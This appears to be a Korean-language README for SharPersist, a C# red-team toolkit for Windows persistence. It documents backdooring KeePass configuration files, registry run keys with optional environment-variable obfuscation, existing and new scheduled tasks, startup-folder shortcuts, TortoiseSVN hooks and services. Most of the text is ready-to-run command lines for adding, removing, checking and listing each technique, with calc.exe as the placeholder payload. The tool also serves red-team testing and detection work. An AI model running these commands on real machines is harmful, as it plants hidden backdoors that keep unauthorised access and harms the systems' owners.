
C# 기반 툴킷으로, 레지스트리 키, 예약된 작업, 서비스, 시작 폴더, KeePass 구성 및 TortoiseSVN 후크를 통해 Windows 지속성을 설정하고 관리합니다.
C#으로 작성된 Windows 지속성(persistence) 툴킷입니다. 각 기법에 대한 자세한 사용법은 Wiki를 참조하세요.
작성자 - Brett Hawkins (@h4wkst3r)
프로젝트를 직접 컴파일하려면 아래 단계에 따라 Visual Studio를 설정하세요. 이를 위해 NuGet 패키지 관리자에서 설치할 수 있는 몇 가지 .NET 라이브러리가 필요합니다.
이 프로젝트에는 아래의 타사 라이브러리가 사용됩니다.
| 라이브러리 | URL | 라이선스 |
|---|---|---|
| TaskScheduler | https://github.com/dahall/TaskScheduler | MIT 라이선스 |
| Fody | https://github.com/Fody/Fody | MIT 라이선스 |
Install-Package Costura.Fody -Version 3.3.3Install-Package TaskScheduler -Version 2.8.11keepass - keepass 구성 파일 백도어reg - 레지스트리 키 추가/수정schtaskbackdoor - 예약된 작업에 추가 동작을 삽입하여 백도어화startupfolder - 시작 프로그램 폴더의 lnk 파일tortoisesvn - Tortoise SVN 후크 스크립트service - 새 Windows 서비스 생성schtask - 새 예약된 작업 생성add - 지속성 기법 추가remove - 지속성 기법 제거check - 지속성 기법 드라이런(dry-run) 수행list - 지속성 기법의 현재 항목 나열env - 레지스트리용 환경 변수 난독화를 위한 선택적 추가 기능hourly - schtask 주기용 선택적 추가 기능 (매시간)daily - schtask 주기용 선택적 추가 기능 (매일)logon - schtask 주기용 선택적 추가 기능 (로그온 시)hklmrunhklmrunoncehklmrunonceexhkcurunhkcurunoncelogonscriptstickynotesuserinitKeePass
SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m add
레지스트리
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add
예약 작업 백도어
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
시작 프로그램 폴더
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add
Tortoise SVN
SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m add
Windows 서비스
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
예약 작업
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add -o hourly
KeePass
SharPersist -t keepass -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m remove
레지스트리
SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove
SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove -o env
SharPersist -t reg -k "logonscript" -m remove
예약 작업 백도어
SharPersist -t schtaskbackdoor -n "Something Cool" -m remove
시작 프로그램 폴더
SharPersist -t startupfolder -f "Some File" -m remove
Tortoise SVN
SharPersist -t tortoisesvn -m remove
Windows 서비스
SharPersist -t service -n "Some Service" -m remove
예약 작업
SharPersist -t schtask -n "Some Task" -m remove
KeePass
SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m check
레지스트리
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check -o env
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m check
예약 작업 백도어
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m check
시작 프로그램 폴더
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m check
Tortoise SVN
SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m check
Windows 서비스
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m check
예약 작업
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m check
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m check -o hourly
레지스트리
SharPersist -t reg -k "hkcurun" -m list
예약 작업 백도어
SharPersist -t schtaskbackdoor -m list
SharPersist -t schtaskbackdoor -m list -n "Some Task"
SharPersist -t schtaskbackdoor -m list -o logon
시작 프로그램 폴더
SharPersist -t startupfolder -m list
Windows 서비스
SharPersist -t service -m list
SharPersist -t service -m list -n "Some Service"
예약 작업
SharPersist -t schtask -m list
SharPersist -t schtask -m list -n "Some Task"
SharPersist -t schtask -m list -o logon